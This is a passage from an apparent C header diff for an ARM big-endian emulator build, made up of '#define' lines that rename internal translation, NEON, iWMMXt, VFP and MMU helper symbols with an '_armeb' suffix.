+#define gen_helper_vfp_tosld_round_to_zero gen_helper_vfp_tosld_round_to_zero_armeb +#define gen_helper_vfp_tosls gen_helper_vfp_tosls_armeb +#define gen_helper_vfp_tosls_round_to_zero gen_helper_vfp_tosls_round_to_zero_armeb +#define gen_helper_vfp_touhd_round_to_zero gen_helper_vfp_touhd_round_to_zero_armeb +#define gen_helper_vfp_touhs_round_to_zero gen_helper_vfp_touhs_round_to_zero_armeb +#define gen_helper_vfp_touid gen_helper_vfp_touid_armeb +#define gen_helper_vfp_touis gen_helper_vfp_touis_armeb +#define gen_helper_vfp_touizd gen_helper_vfp_touizd_armeb +#define gen_helper_vfp_touizs gen_helper_vfp_touizs_armeb +#define gen_helper_vfp_tould gen_helper_vfp_tould_armeb +#define gen_helper_vfp_tould_round_to_zero gen_helper_vfp_tould_round_to_zero_armeb +#define gen_helper_vfp_touls gen_helper_vfp_touls_armeb +#define gen_helper_vfp_touls_round_to_zero gen_helper_vfp_touls_round_to_zero_armeb +#define gen_helper_vfp_uhtod gen_helper_vfp_uhtod_armeb +#define gen_helper_vfp_uhtos gen_helper_vfp_uhtos_armeb +#define gen_helper_vfp_uitod gen_helper_vfp_uitod_armeb +#define gen_helper_vfp_uitos gen_helper_vfp_uitos_armeb +#define gen_helper_vfp_ultod gen_helper_vfp_ultod_armeb +#define gen_helper_vfp_ultos gen_helper_vfp_ultos_armeb +#define gen_helper_wfe gen_helper_wfe_armeb +#define gen_helper_wfi gen_helper_wfi_armeb +#define gen_hvc gen_hvc_armeb +#define gen_intermediate_code_internal gen_intermediate_code_internal_armeb +#define gen_intermediate_code_internal_a64 gen_intermediate_code_internal_a64_armeb +#define gen_iwmmxt_address gen_iwmmxt_address_armeb +#define gen_iwmmxt_shift gen_iwmmxt_shift_armeb +#define gen_jmp gen_jmp_armeb +#define gen_load_and_replicate gen_load_and_replicate_armeb +#define gen_load_exclusive gen_load_exclusive_armeb +#define gen_logic_CC gen_logic_CC_armeb +#define gen_logicq_cc gen_logicq_cc_armeb +#define gen_lookup_tb gen_lookup_tb_armeb +#define gen_mov_F0_vreg gen_mov_F0_vreg_armeb +#define gen_mov_F1_vreg gen_mov_F1_vreg_armeb +#define gen_mov_vreg_F0 gen_mov_vreg_F0_armeb +#define gen_muls_i64_i32 gen_muls_i64_i32_armeb +#define gen_mulu_i64_i32 gen_mulu_i64_i32_armeb +#define gen_mulxy gen_mulxy_armeb +#define gen_neon_add gen_neon_add_armeb +#define gen_neon_addl gen_neon_addl_armeb +#define gen_neon_addl_saturate gen_neon_addl_saturate_armeb +#define gen_neon_bsl gen_neon_bsl_armeb +#define gen_neon_dup_high16 gen_neon_dup_high16_armeb +#define gen_neon_dup_low16 gen_neon_dup_low16_armeb +#define gen_neon_dup_u8 gen_neon_dup_u8_armeb +#define gen_neon_mull gen_neon_mull_armeb +#define gen_neon_narrow gen_neon_narrow_armeb +#define gen_neon_narrow_op gen_neon_narrow_op_armeb +#define gen_neon_narrow_sats gen_neon_narrow_sats_armeb +#define gen_neon_narrow_satu gen_neon_narrow_satu_armeb +#define gen_neon_negl gen_neon_negl_armeb +#define gen_neon_rsb gen_neon_rsb_armeb +#define gen_neon_shift_narrow gen_neon_shift_narrow_armeb +#define gen_neon_subl gen_neon_subl_armeb +#define gen_neon_trn_u16 gen_neon_trn_u16_armeb +#define gen_neon_trn_u8 gen_neon_trn_u8_armeb +#define gen_neon_unarrow_sats gen_neon_unarrow_sats_armeb +#define gen_neon_unzip gen_neon_unzip_armeb +#define gen_neon_widen gen_neon_widen_armeb +#define gen_neon_zip gen_neon_zip_armeb +#define gen_new_label gen_new_label_armeb +#define gen_nop_hint gen_nop_hint_armeb +#define gen_op_iwmmxt_addl_M0_wRn gen_op_iwmmxt_addl_M0_wRn_armeb +#define gen_op_iwmmxt_addnb_M0_wRn gen_op_iwmmxt_addnb_M0_wRn_armeb +#define gen_op_iwmmxt_addnl_M0_wRn gen_op_iwmmxt_addnl_M0_wRn_armeb +#define gen_op_iwmmxt_addnw_M0_wRn gen_op_iwmmxt_addnw_M0_wRn_armeb +#define gen_op_iwmmxt_addsb_M0_wRn gen_op_iwmmxt_addsb_M0_wRn_armeb +#define gen_op_iwmmxt_addsl_M0_wRn gen_op_iwmmxt_addsl_M0_wRn_armeb +#define gen_op_iwmmxt_addsw_M0_wRn gen_op_iwmmxt_addsw_M0_wRn_armeb +#define gen_op_iwmmxt_addub_M0_wRn gen_op_iwmmxt_addub_M0_wRn_armeb +#define gen_op_iwmmxt_addul_M0_wRn gen_op_iwmmxt_addul_M0_wRn_armeb +#define gen_op_iwmmxt_adduw_M0_wRn gen_op_iwmmxt_adduw_M0_wRn_armeb +#define gen_op_iwmmxt_andq_M0_wRn gen_op_iwmmxt_andq_M0_wRn_armeb +#define gen_op_iwmmxt_avgb0_M0_wRn gen_op_iwmmxt_avgb0_M0_wRn_armeb +#define gen_op_iwmmxt_avgb1_M0_wRn gen_op_iwmmxt_avgb1_M0_wRn_armeb +#define gen_op_iwmmxt_avgw0_M0_wRn gen_op_iwmmxt_avgw0_M0_wRn_armeb +#define gen_op_iwmmxt_avgw1_M0_wRn gen_op_iwmmxt_avgw1_M0_wRn_armeb +#define gen_op_iwmmxt_cmpeqb_M0_wRn gen_op_iwmmxt_cmpeqb_M0_wRn_armeb +#define gen_op_iwmmxt_cmpeql_M0_wRn gen_op_iwmmxt_cmpeql_M0_wRn_armeb +#define gen_op_iwmmxt_cmpeqw_M0_wRn gen_op_iwmmxt_cmpeqw_M0_wRn_armeb +#define gen_op_iwmmxt_cmpgtsb_M0_wRn gen_op_iwmmxt_cmpgtsb_M0_wRn_armeb +#define gen_op_iwmmxt_cmpgtsl_M0_wRn gen_op_iwmmxt_cmpgtsl_M0_wRn_armeb +#define gen_op_iwmmxt_cmpgtsw_M0_wRn gen_op_iwmmxt_cmpgtsw_M0_wRn_armeb +#define gen_op_iwmmxt_cmpgtub_M0_wRn gen_op_iwmmxt_cmpgtub_M0_wRn_armeb +#define gen_op_iwmmxt_cmpgtul_M0_wRn gen_op_iwmmxt_cmpgtul_M0_wRn_armeb +#define gen_op_iwmmxt_cmpgtuw_M0_wRn gen_op_iwmmxt_cmpgtuw_M0_wRn_armeb +#define gen_op_iwmmxt_macsw_M0_wRn gen_op_iwmmxt_macsw_M0_wRn_armeb +#define gen_op_iwmmxt_macuw_M0_wRn gen_op_iwmmxt_macuw_M0_wRn_armeb +#define gen_op_iwmmxt_maddsq_M0_wRn gen_op_iwmmxt_maddsq_M0_wRn_armeb +#define gen_op_iwmmxt_madduq_M0_wRn gen_op_iwmmxt_madduq_M0_wRn_armeb +#define gen_op_iwmmxt_maxsb_M0_wRn gen_op_iwmmxt_maxsb_M0_wRn_armeb +#define gen_op_iwmmxt_maxsl_M0_wRn gen_op_iwmmxt_maxsl_M0_wRn_armeb +#define gen_op_iwmmxt_maxsw_M0_wRn gen_op_iwmmxt_maxsw_M0_wRn_armeb +#define gen_op_iwmmxt_maxub_M0_wRn gen_op_iwmmxt_maxub_M0_wRn_armeb +#define gen_op_iwmmxt_maxul_M0_wRn gen_op_iwmmxt_maxul_M0_wRn_armeb +#define gen_op_iwmmxt_maxuw_M0_wRn gen_op_iwmmxt_maxuw_M0_wRn_armeb +#define gen_op_iwmmxt_minsb_M0_wRn gen_op_iwmmxt_minsb_M0_wRn_armeb +#define gen_op_iwmmxt_minsl_M0_wRn gen_op_iwmmxt_minsl_M0_wRn_armeb +#define gen_op_iwmmxt_minsw_M0_wRn gen_op_iwmmxt_minsw_M0_wRn_armeb +#define gen_op_iwmmxt_minub_M0_wRn gen_op_iwmmxt_minub_M0_wRn_armeb +#define gen_op_iwmmxt_minul_M0_wRn gen_op_iwmmxt_minul_M0_wRn_armeb +#define gen_op_iwmmxt_minuw_M0_wRn gen_op_iwmmxt_minuw_M0_wRn_armeb +#define gen_op_iwmmxt_movq_M0_wRn gen_op_iwmmxt_movq_M0_wRn_armeb +#define gen_op_iwmmxt_movq_wRn_M0 gen_op_iwmmxt_movq_wRn_M0_armeb +#define gen_op_iwmmxt_mulshw_M0_wRn gen_op_iwmmxt_mulshw_M0_wRn_armeb +#define gen_op_iwmmxt_mulslw_M0_wRn gen_op_iwmmxt_mulslw_M0_wRn_armeb +#define gen_op_iwmmxt_muluhw_M0_wRn gen_op_iwmmxt_muluhw_M0_wRn_armeb +#define gen_op_iwmmxt_mululw_M0_wRn gen_op_iwmmxt_mululw_M0_wRn_armeb +#define gen_op_iwmmxt_orq_M0_wRn gen_op_iwmmxt_orq_M0_wRn_armeb +#define gen_op_iwmmxt_packsl_M0_wRn gen_op_iwmmxt_packsl_M0_wRn_armeb +#define gen_op_iwmmxt_packsq_M0_wRn gen_op_iwmmxt_packsq_M0_wRn_armeb +#define gen_op_iwmmxt_packsw_M0_wRn gen_op_iwmmxt_packsw_M0_wRn_armeb +#define gen_op_iwmmxt_packul_M0_wRn gen_op_iwmmxt_packul_M0_wRn_armeb +#define gen_op_iwmmxt_packuq_M0_wRn gen_op_iwmmxt_packuq_M0_wRn_armeb +#define gen_op_iwmmxt_packuw_M0_wRn gen_op_iwmmxt_packuw_M0_wRn_armeb +#define gen_op_iwmmxt_sadb_M0_wRn gen_op_iwmmxt_sadb_M0_wRn_armeb +#define gen_op_iwmmxt_sadw_M0_wRn gen_op_iwmmxt_sadw_M0_wRn_armeb +#define gen_op_iwmmxt_set_cup gen_op_iwmmxt_set_cup_armeb +#define gen_op_iwmmxt_set_mup gen_op_iwmmxt_set_mup_armeb +#define gen_op_iwmmxt_setpsr_nz gen_op_iwmmxt_setpsr_nz_armeb +#define gen_op_iwmmxt_subnb_M0_wRn gen_op_iwmmxt_subnb_M0_wRn_armeb +#define gen_op_iwmmxt_subnl_M0_wRn gen_op_iwmmxt_subnl_M0_wRn_armeb +#define gen_op_iwmmxt_subnw_M0_wRn gen_op_iwmmxt_subnw_M0_wRn_armeb +#define gen_op_iwmmxt_subsb_M0_wRn gen_op_iwmmxt_subsb_M0_wRn_armeb +#define gen_op_iwmmxt_subsl_M0_wRn gen_op_iwmmxt_subsl_M0_wRn_armeb +#define gen_op_iwmmxt_subsw_M0_wRn gen_op_iwmmxt_subsw_M0_wRn_armeb +#define gen_op_iwmmxt_subub_M0_wRn gen_op_iwmmxt_subub_M0_wRn_armeb +#define gen_op_iwmmxt_subul_M0_wRn gen_op_iwmmxt_subul_M0_wRn_armeb +#define gen_op_iwmmxt_subuw_M0_wRn gen_op_iwmmxt_subuw_M0_wRn_armeb +#define gen_op_iwmmxt_unpackhb_M0_wRn gen_op_iwmmxt_unpackhb_M0_wRn_armeb +#define gen_op_iwmmxt_unpackhl_M0_wRn gen_op_iwmmxt_unpackhl_M0_wRn_armeb +#define gen_op_iwmmxt_unpackhsb_M0 gen_op_iwmmxt_unpackhsb_M0_armeb +#define gen_op_iwmmxt_unpackhsl_M0 gen_op_iwmmxt_unpackhsl_M0_armeb +#define gen_op_iwmmxt_unpackhsw_M0 gen_op_iwmmxt_unpackhsw_M0_armeb +#define gen_op_iwmmxt_unpackhub_M0 gen_op_iwmmxt_unpackhub_M0_armeb +#define gen_op_iwmmxt_unpackhul_M0 gen_op_iwmmxt_unpackhul_M0_armeb +#define gen_op_iwmmxt_unpackhuw_M0 gen_op_iwmmxt_unpackhuw_M0_armeb +#define gen_op_iwmmxt_unpackhw_M0_wRn gen_op_iwmmxt_unpackhw_M0_wRn_armeb +#define gen_op_iwmmxt_unpacklb_M0_wRn gen_op_iwmmxt_unpacklb_M0_wRn_armeb +#define gen_op_iwmmxt_unpackll_M0_wRn gen_op_iwmmxt_unpackll_M0_wRn_armeb +#define gen_op_iwmmxt_unpacklsb_M0 gen_op_iwmmxt_unpacklsb_M0_armeb +#define gen_op_iwmmxt_unpacklsl_M0 gen_op_iwmmxt_unpacklsl_M0_armeb +#define gen_op_iwmmxt_unpacklsw_M0 gen_op_iwmmxt_unpacklsw_M0_armeb +#define gen_op_iwmmxt_unpacklub_M0 gen_op_iwmmxt_unpacklub_M0_armeb +#define gen_op_iwmmxt_unpacklul_M0 gen_op_iwmmxt_unpacklul_M0_armeb +#define gen_op_iwmmxt_unpackluw_M0 gen_op_iwmmxt_unpackluw_M0_armeb +#define gen_op_iwmmxt_unpacklw_M0_wRn gen_op_iwmmxt_unpacklw_M0_wRn_armeb +#define gen_op_iwmmxt_xorq_M0_wRn gen_op_iwmmxt_xorq_M0_wRn_armeb +#define gen_rev16 gen_rev16_armeb +#define gen_revsh gen_revsh_armeb +#define gen_rfe gen_rfe_armeb +#define gen_sar gen_sar_armeb +#define gen_sbc_CC gen_sbc_CC_armeb +#define gen_sbfx gen_sbfx_armeb +#define gen_set_CF_bit31 gen_set_CF_bit31_armeb +#define gen_set_condexec gen_set_condexec_armeb +#define gen_set_cpsr gen_set_cpsr_armeb +#define gen_set_label gen_set_label_armeb +#define gen_set_pc_im gen_set_pc_im_armeb +#define gen_set_psr gen_set_psr_armeb +#define gen_set_psr_im gen_set_psr_im_armeb +#define gen_shl gen_shl_armeb +#define gen_shr gen_shr_armeb +#define gen_smc gen_smc_armeb +#define gen_smul_dual gen_smul_dual_armeb +#define gen_srs gen_srs_armeb +#define gen_ss_advance gen_ss_advance_armeb +#define gen_step_complete_exception gen_step_complete_exception_armeb +#define gen_store_exclusive gen_store_exclusive_armeb +#define gen_storeq_reg gen_storeq_reg_armeb +#define gen_sub_carry gen_sub_carry_armeb +#define gen_sub_CC gen_sub_CC_armeb +#define gen_subq_msw gen_subq_msw_armeb +#define gen_swap_half gen_swap_half_armeb +#define gen_thumb2_data_op gen_thumb2_data_op_armeb +#define gen_thumb2_parallel_addsub gen_thumb2_parallel_addsub_armeb +#define gen_ubfx gen_ubfx_armeb +#define gen_vfp_abs gen_vfp_abs_armeb +#define gen_vfp_add gen_vfp_add_armeb +#define gen_vfp_cmp gen_vfp_cmp_armeb +#define gen_vfp_cmpe gen_vfp_cmpe_armeb +#define gen_vfp_div gen_vfp_div_armeb +#define gen_vfp_F1_ld0 gen_vfp_F1_ld0_armeb +#define gen_vfp_F1_mul gen_vfp_F1_mul_armeb +#define gen_vfp_F1_neg gen_vfp_F1_neg_armeb +#define gen_vfp_ld gen_vfp_ld_armeb +#define gen_vfp_mrs gen_vfp_mrs_armeb +#define gen_vfp_msr gen_vfp_msr_armeb +#define gen_vfp_mul gen_vfp_mul_armeb +#define gen_vfp_neg gen_vfp_neg_armeb +#define gen_vfp_shto gen_vfp_shto_armeb +#define gen_vfp_sito gen_vfp_sito_armeb +#define gen_vfp_slto gen_vfp_slto_armeb +#define gen_vfp_sqrt gen_vfp_sqrt_armeb +#define gen_vfp_st gen_vfp_st_armeb +#define gen_vfp_sub gen_vfp_sub_armeb +#define gen_vfp_tosh gen_vfp_tosh_armeb +#define gen_vfp_tosi gen_vfp_tosi_armeb +#define gen_vfp_tosiz gen_vfp_tosiz_armeb +#define gen_vfp_tosl gen_vfp_tosl_armeb +#define gen_vfp_touh gen_vfp_touh_armeb +#define gen_vfp_toui gen_vfp_toui_armeb +#define gen_vfp_touiz gen_vfp_touiz_armeb +#define gen_vfp_toul gen_vfp_toul_armeb +#define gen_vfp_uhto gen_vfp_uhto_armeb +#define gen_vfp_uito gen_vfp_uito_armeb +#define gen_vfp_ulto gen_vfp_ulto_armeb +#define get_arm_cp_reginfo get_arm_cp_reginfo_armeb +#define get_clock get_clock_armeb +#define get_clock_realtime get_clock_realtime_armeb +#define get_constraint_priority get_constraint_priority_armeb +#define get_float_exception_flags get_float_exception_flags_armeb +#define get_float_rounding_mode get_float_rounding_mode_armeb +#define get_fpstatus_ptr get_fpstatus_ptr_armeb +#define get_level1_table_address get_level1_table_address_armeb +#define get_mem_index get_mem_index_armeb +#define get_next_param_value get_next_param_value_armeb +#define get_opt_name get_opt_name_armeb +#define get_opt_value get_opt_value_armeb +#define get_page_addr_code get_page_addr_code_armeb +#define get_param_value get_param_value_armeb +#define get_phys_addr get_phys_addr_armeb +#define get_phys_addr_lpae get_phys_addr_lpae_armeb +#define get_phys_addr_mpu get_phys_addr_mpu_armeb +#define get_phys_addr_v5 get_phys_addr_v5_armeb +#define get_phys_addr_v6 get_phys_addr_v6_armeb +#define get_system_memory get_system_memory_armeb +#define get_ticks_per_sec get_ticks_per_sec_armeb +#define g_list_insert_sorted_merged g_list_insert_sorted_merged_armeb +#define _GLOBAL_OFFSET_TABLE_ _GLOBAL_OFFSET_TABLE__armeb +#define gt_cntfrq_access gt_cntfrq_access_armeb +#define gt_cnt_read gt_cnt_read_armeb +#define gt_cnt_reset gt_cnt_reset_armeb +#define gt_counter_access gt_counter_access_armeb +#define gt_ctl_write gt_ctl_write_armeb +#define gt_cval_write gt_cval_write_armeb +#define gt_get_countervalue gt_get_countervalue_armeb +#define gt_pct_access gt_pct_access_armeb +#define gt_ptimer_access gt_ptimer_access_armeb +#define gt_recalc_timer gt_recalc_timer_armeb +#define gt_timer_access gt_timer_access_armeb +#define gt_tval_read gt_tval_read_armeb +#define gt_tval_write gt_tval_write_armeb +#define gt_vct_access gt_vct_access_armeb +#define gt_vtimer_access gt_vtimer_access_armeb +#define guest_phys_blocks_free guest_phys_blocks_free_armeb +#define guest_phys_blocks_init guest_phys_blocks_init_armeb +#define handle_vcvt handle_vcvt_armeb +#define handle_vminmaxnm handle_vminmaxnm_armeb +#define handle_vrint handle_vrint_armeb +#define handle_vsel handle_vsel_armeb +#define has_help_option has_help_option_armeb +#define have_bmi1 have_bmi1_armeb +#define have_bmi2 have_bmi2_armeb +#define hcr_write hcr_write_armeb +#define helper_access_check_cp_reg helper_access_check_cp_reg_armeb +#define helper_add_saturate helper_add_saturate_armeb +#define helper_add_setq helper_add_setq_armeb +#define helper_add_usaturate helper_add_usaturate_armeb +#define helper_be_ldl_cmmu helper_be_ldl_cmmu_armeb +#define helper_be_ldq_cmmu helper_be_ldq_cmmu_armeb +#define helper_be_ldq_mmu helper_be_ldq_mmu_armeb +#define helper_be_ldsl_mmu helper_be_ldsl_mmu_armeb +#define helper_be_ldsw_mmu helper_be_ldsw_mmu_armeb +#define helper_be_ldul_mmu helper_be_ldul_mmu_armeb +#define helper_be_lduw_mmu helper_be_lduw_mmu_armeb +#define helper_be_ldw_cmmu helper_be_ldw_cmmu_armeb +#define helper_be_stl_mmu helper_be_stl_mmu_armeb +#define helper_be_stq_mmu helper_be_stq_mmu_armeb +#define helper_be_stw_mmu helper_be_stw_mmu_armeb +#define helper_clear_pstate_ss helper_clear_pstate_ss_armeb +#define helper_clz_arm helper_clz_arm_armeb +#define helper_cpsr_read helper_cpsr_read_armeb +#define helper_cpsr_write helper_cpsr_write_armeb +#define helper_crc32_arm helper_crc32_arm_armeb +#define helper_crc32c helper_crc32c_armeb +#define helper_crypto_aese helper_crypto_aese_armeb +#define helper_crypto_aesmc helper_crypto_aesmc_armeb +#define helper_crypto_sha1_3reg helper_crypto_sha1_3reg_armeb +#define helper_crypto_sha1h helper_crypto_sha1h_armeb +#define helper_crypto_sha1su1 helper_crypto_sha1su1_armeb +#define helper_crypto_sha256h helper_crypto_sha256h_armeb +#define helper_crypto_sha256h2 helper_crypto_sha256h2_armeb +#define helper_crypto_sha256su0 helper_crypto_sha256su0_armeb +#define helper_crypto_sha256su1 helper_crypto_sha256su1_armeb +#define helper_dc_zva helper_dc_zva_armeb +#define helper_double_saturate helper_double_saturate_armeb +#define helper_exception_internal helper_exception_internal_armeb +#define helper_exception_return helper_exception_return_armeb +#define helper_exception_with_syndrome helper_exception_with_syndrome_armeb +#define helper_get_cp_reg helper_get_cp_reg_armeb +#define helper_get_cp_reg64 helper_get_cp_reg64_armeb +#define helper_get_r13_banked helper_get_r13_banked_armeb +#define helper_get_user_reg helper_get_user_reg_armeb +#define helper_iwmmxt_addcb helper_iwmmxt_addcb_armeb +#define helper_iwmmxt_addcl helper_iwmmxt_addcl_armeb +#define helper_iwmmxt_addcw helper_iwmmxt_addcw_armeb +#define helper_iwmmxt_addnb helper_iwmmxt_addnb_armeb +#define helper_iwmmxt_addnl helper_iwmmxt_addnl_armeb +#define helper_iwmmxt_addnw helper_iwmmxt_addnw_armeb +#define helper_iwmmxt_addsb helper_iwmmxt_addsb_armeb +#define helper_iwmmxt_addsl helper_iwmmxt_addsl_armeb +#define helper_iwmmxt_addsw helper_iwmmxt_addsw_armeb +#define helper_iwmmxt_addub helper_iwmmxt_addub_armeb +#define helper_iwmmxt_addul helper_iwmmxt_addul_armeb +#define helper_iwmmxt_adduw helper_iwmmxt_adduw_armeb +#define helper_iwmmxt_align helper_iwmmxt_align_armeb +#define helper_iwmmxt_avgb0 helper_iwmmxt_avgb0_armeb +#define helper_iwmmxt_avgb1 helper_iwmmxt_avgb1_armeb +#define helper_iwmmxt_avgw0 helper_iwmmxt_avgw0_armeb +#define helper_iwmmxt_avgw1 helper_iwmmxt_avgw1_armeb +#define helper_iwmmxt_bcstb helper_iwmmxt_bcstb_armeb +#define helper_iwmmxt_bcstl helper_iwmmxt_bcstl_armeb +#define helper_iwmmxt_bcstw helper_iwmmxt_bcstw_armeb +#define helper_iwmmxt_cmpeqb helper_iwmmxt_cmpeqb_armeb +#define helper_iwmmxt_cmpeql helper_iwmmxt_cmpeql_armeb +#define helper_iwmmxt_cmpeqw helper_iwmmxt_cmpeqw_armeb +#define helper_iwmmxt_cmpgtsb helper_iwmmxt_cmpgtsb_armeb +#define helper_iwmmxt_cmpgtsl helper_iwmmxt_cmpgtsl_armeb +#define helper_iwmmxt_cmpgtsw helper_iwmmxt_cmpgtsw_armeb +#define helper_iwmmxt_cmpgtub helper_iwmmxt_cmpgtub_armeb +#define helper_iwmmxt_cmpgtul helper_iwmmxt_cmpgtul_armeb +#define helper_iwmmxt_cmpgtuw helper_iwmmxt_cmpgtuw_armeb +#define helper_iwmmxt_insr helper_iwmmxt_insr_armeb +#define helper_iwmmxt_macsw helper_iwmmxt_macsw_armeb +#define helper_iwmmxt_macuw helper_iwmmxt_macuw_armeb +#define helper_iwmmxt_maddsq helper_iwmmxt_maddsq_armeb +#define helper_iwmmxt_madduq helper_iwmmxt_madduq_armeb +#define helper_iwmmxt_maxsb helper_iwmmxt_maxsb_armeb +#define helper_iwmmxt_maxsl helper_iwmmxt_maxsl_armeb +#define helper_iwmmxt_maxsw helper_iwmmxt_maxsw_armeb +#define helper_iwmmxt_maxub helper_iwmmxt_maxub_armeb +#define helper_iwmmxt_maxul helper_iwmmxt_maxul_armeb +#define helper_iwmmxt_maxuw helper_iwmmxt_maxuw_armeb +#define helper_iwmmxt_minsb helper_iwmmxt_minsb_armeb +#define helper_iwmmxt_minsl helper_iwmmxt_minsl_armeb +#define helper_iwmmxt_minsw helper_iwmmxt_minsw_armeb +#define helper_iwmmxt_minub helper_iwmmxt_minub_armeb +#define helper_iwmmxt_minul helper_iwmmxt_minul_armeb +#define helper_iwmmxt_minuw helper_iwmmxt_minuw_armeb +#define helper_iwmmxt_msbb helper_iwmmxt_msbb_armeb +#define helper_iwmmxt_msbl helper_iwmmxt_msbl_armeb +#define helper_iwmmxt_msbw helper_iwmmxt_msbw_armeb +#define helper_iwmmxt_muladdsl helper_iwmmxt_muladdsl_armeb +#define helper_iwmmxt_muladdsw helper_iwmmxt_muladdsw_armeb +#define helper_iwmmxt_muladdswl helper_iwmmxt_muladdswl_armeb +#define helper_iwmmxt_mulshw helper_iwmmxt_mulshw_armeb +#define helper_iwmmxt_mulslw helper_iwmmxt_mulslw_armeb +#define helper_iwmmxt_muluhw helper_iwmmxt_muluhw_armeb +#define helper_iwmmxt_mululw helper_iwmmxt_mululw_armeb +#define helper_iwmmxt_packsl helper_iwmmxt_packsl_armeb +#define helper_iwmmxt_packsq helper_iwmmxt_packsq_armeb +#define helper_iwmmxt_packsw helper_iwmmxt_packsw_armeb +#define helper_iwmmxt_packul helper_iwmmxt_packul_armeb +#define helper_iwmmxt_packuq helper_iwmmxt_packuq_armeb +#define helper_iwmmxt_packuw helper_iwmmxt_packuw_armeb +#define helper_iwmmxt_rorl helper_iwmmxt_rorl_armeb +#define helper_iwmmxt_rorq helper_iwmmxt_rorq_armeb +#define helper_iwmmxt_rorw helper_iwmmxt_rorw_armeb +#define helper_iwmmxt_sadb helper_iwmmxt_sadb_armeb +#define helper_iwmmxt_sadw helper_iwmmxt_sadw_armeb +#define helper_iwmmxt_setpsr_nz helper_iwmmxt_setpsr_nz_armeb +#define helper_iwmmxt_shufh helper_iwmmxt_shufh_armeb +#define helper_iwmmxt_slll helper_iwmmxt_slll_armeb +#define helper_iwmmxt_sllq helper_iwmmxt_sllq_armeb +#define helper_iwmmxt_sllw helper_iwmmxt_sllw_armeb +#define helper_iwmmxt_sral helper_iwmmxt_sral_armeb +#define helper_iwmmxt_sraq helper_iwmmxt_sraq_armeb +#define helper_iwmmxt_sraw helper_iwmmxt_sraw_armeb +#define helper_iwmmxt_srll helper_iwmmxt_srll_armeb +#define helper_iwmmxt_srlq helper_iwmmxt_srlq_armeb +#define helper_iwmmxt_srlw helper_iwmmxt_srlw_armeb +#define helper_iwmmxt_subnb helper_iwmmxt_subnb_armeb +#define helper_iwmmxt_subnl helper_iwmmxt_subnl_armeb +#define helper_iwmmxt_subnw helper_iwmmxt_subnw_armeb +#define helper_iwmmxt_subsb helper_iwmmxt_subsb_armeb +#define helper_iwmmxt_subsl helper_iwmmxt_subsl_armeb +#define helper_iwmmxt_subsw helper_iwmmxt_subsw_armeb +#define helper_iwmmxt_subub helper_iwmmxt_subub_armeb +#define helper_iwmmxt_subul helper_iwmmxt_subul_armeb +#define helper_iwmmxt_subuw helper_iwmmxt_subuw_armeb +#define helper_iwmmxt_unpackhb helper_iwmmxt_unpackhb_armeb +#define helper_iwmmxt_unpackhl helper_iwmmxt_unpackhl_armeb +#define helper_iwmmxt_unpackhsb helper_iwmmxt_unpackhsb_armeb +#define helper_iwmmxt_unpackhsl helper_iwmmxt_unpackhsl_armeb +#define helper_iwmmxt_unpackhsw helper_iwmmxt_unpackhsw_armeb +#define helper_iwmmxt_unpackhub helper_iwmmxt_unpackhub_armeb +#define helper_iwmmxt_unpackhul helper_iwmmxt_unpackhul_armeb +#define helper_iwmmxt_unpackhuw helper_iwmmxt_unpackhuw_armeb +#define helper_iwmmxt_unpackhw helper_iwmmxt_unpackhw_armeb +#define helper_iwmmxt_unpacklb helper_iwmmxt_unpacklb_armeb +#define helper_iwmmxt_unpackll helper_iwmmxt_unpackll_armeb +#define helper_iwmmxt_unpacklsb helper_iwmmxt_unpacklsb_armeb +#define helper_iwmmxt_unpacklsl helper_iwmmxt_unpacklsl_armeb +#define helper_iwmmxt_unpacklsw helper_iwmmxt_unpacklsw_armeb +#define helper_iwmmxt_unpacklub helper_iwmmxt_unpacklub_armeb +#define helper_iwmmxt_unpacklul helper_iwmmxt_unpacklul_armeb +#define helper_iwmmxt_unpackluw helper_iwmmxt_unpackluw_armeb +#define helper_iwmmxt_unpacklw helper_iwmmxt_unpacklw_armeb +#define helper_ldb_cmmu helper_ldb_cmmu_armeb +#define helper_ldb_mmu helper_ldb_mmu_armeb +#define helper_ldl_cmmu helper_ldl_cmmu_armeb +#define helper_ldl_mmu helper_ldl_mmu_armeb +#define helper_ldq_cmmu helper_ldq_cmmu_armeb +#define helper_ldq_mmu helper_ldq_mmu_armeb +#define helper_ldw_cmmu helper_ldw_cmmu_armeb +#define helper_ldw_mmu helper_ldw_mmu_armeb +#define helper_le_ldl_cmmu helper_le_ldl_cmmu_armeb +#define helper_le_ldq_cmmu helper_le_ldq_cmmu_armeb +#define helper_le_ldq_mmu helper_le_ldq_mmu_armeb +#define helper_le_ldsl_mmu helper_le_ldsl_mmu_armeb +#define helper_le_ldsw_mmu helper_le_ldsw_mmu_armeb +#define helper_le_ldul_mmu helper_le_ldul_mmu_armeb +#define helper_le_lduw_mmu helper_le_lduw_mmu_armeb +#define helper_le_ldw_cmmu helper_le_ldw_cmmu_armeb +#define helper_le_stl_mmu helper_le_stl_mmu_armeb +#define helper_le_stq_mmu helper_le_stq_mmu_armeb +#define helper_le_stw_mmu helper_le_stw_mmu_armeb +#define helper_msr_i_pstate helper_msr_i_pstate_armeb +#define helper_neon_abd_f32 helper_neon_abd_f32_armeb +#define helper_neon_abdl_s16 helper_neon_abdl_s16_armeb +#define helper_neon_abdl_s32 helper_neon_abdl_s32_armeb +#define helper_neon_abdl_s64 helper_neon_abdl_s64_armeb +#define helper_neon_abdl_u16 helper_neon_abdl_u16_armeb +#define helper_neon_abdl_u32 helper_neon_abdl_u32_armeb +#define helper_neon_abdl_u64 helper_neon_abdl_u64_armeb +#define helper_neon_abd_s16 helper_neon_abd_s16_armeb +#define helper_neon_abd_s32 helper_neon_abd_s32_armeb +#define helper_neon_abd_s8 helper_neon_abd_s8_armeb +#define helper_neon_abd_u16 helper_neon_abd_u16_armeb +#define helper_neon_abd_u32 helper_neon_abd_u32_armeb +#define helper_neon_abd_u8 helper_neon_abd_u8_armeb +#define helper_neon_abs_s16 helper_neon_abs_s16_armeb +#define helper_neon_abs_s8 helper_neon_abs_s8_armeb +#define helper_neon_acge_f32 helper_neon_acge_f32_armeb +#define helper_neon_acge_f64 helper_neon_acge_f64_armeb +#define helper_neon_acgt_f32 helper_neon_acgt_f32_armeb +#define helper_neon_acgt_f64 helper_neon_acgt_f64_armeb +#define helper_neon_addl_saturate_s32 helper_neon_addl_saturate_s32_armeb +#define helper_neon_addl_saturate_s64 helper_neon_addl_saturate_s64_armeb +#define helper_neon_addl_u16 helper_neon_addl_u16_armeb +#define helper_neon_addl_u32 helper_neon_addl_u32_armeb +#define helper_neon_add_u16 helper_neon_add_u16_armeb +#define helper_neon_add_u8 helper_neon_add_u8_armeb +#define helper_neon_ceq_f32 